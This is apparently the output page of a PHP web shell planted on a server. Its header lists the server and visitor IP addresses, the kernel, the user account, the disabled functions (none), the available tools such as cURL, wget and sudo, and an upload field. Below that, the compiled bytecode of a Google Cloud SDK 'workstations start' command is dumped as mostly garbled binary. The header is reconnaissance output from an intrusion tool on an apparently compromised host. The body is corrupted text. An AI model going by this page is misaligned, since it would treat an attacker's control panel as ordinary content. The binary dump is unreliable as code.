| Server IP : 35.236.43.222 / Your IP : 216.73.216.143 Web Server : Apache System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64 User : deploy ( 1002) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/lib/google-cloud-sdk/lib/surface/workstations/__pycache__/ |
Upload File : |
�
��� � �� � d Z ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddl m
Z ej ej
j ej
j ej
j � � G d� d ej � � � � Zd
S )z"Command for starting Workstations.� )�absolute_import)�division)�unicode_literals)�workstations)�base)�flagsc �4 � e Zd ZdZed� � � Zd� Zd� ZdS )�Startz~Start a workstation.
Start a workstation.
## EXAMPLES
To start a workstation, run
$ {command} WORKSTATION
c �� � t j |� � t j |� � | � � � t j j k rt j |� � d S d S �N)�workstations_flags�AddAsyncFlag�AddWorkstationResourceArg�ReleaseTrackr �GA�AddBoost)�cls�parsers �!lib/surface/workstations/start.py�Argsz
Start.Args) s` � ��#�F�+�+�+��0��8�8�8������d�/�2�2�2��!�&�)�)�)�)�)� 3�2� c � � dS )NzSworkstations.projects.locations.workstationClusters.workstationConfigs.workstations� )�selfs r �
CollectionzStart.Collection0 s � �`�`r c �| � t j | � � � � � }|� |� � }|S r )r �Workstationsr r
)r �args�client�responses r �Runz Start.Run3 s4 � �
�
&�t�'8�'8�':�':�
;�
;�F��|�|�D�!�!�H��Or N)�__name__�
__module__�__qualname__�__doc__�classmethodr r r! r r r r
r
sZ � � � � � � � � �*� *� �;�*�a� a� a�� � � � r r
N)r% �
__future__r r r �#googlecloudsdk.api_lib.workstationsr �googlecloudsdk.callioper �'googlecloudsdk.command_lib.workstationsr r
�
ReleaseTracksr r �BETA�ALPHA�Commandr
r r r �<module>r/ s� �� )� (� &� &� &� &� &� &� � � � � � � '� '� '� '� '� '� <� <� <� <� <� <� (� (� (� (� (� (� O� O� O� O� O� O� ������$�+�0�$�2C�2I�� �� � � � �D�L� � �� �� � r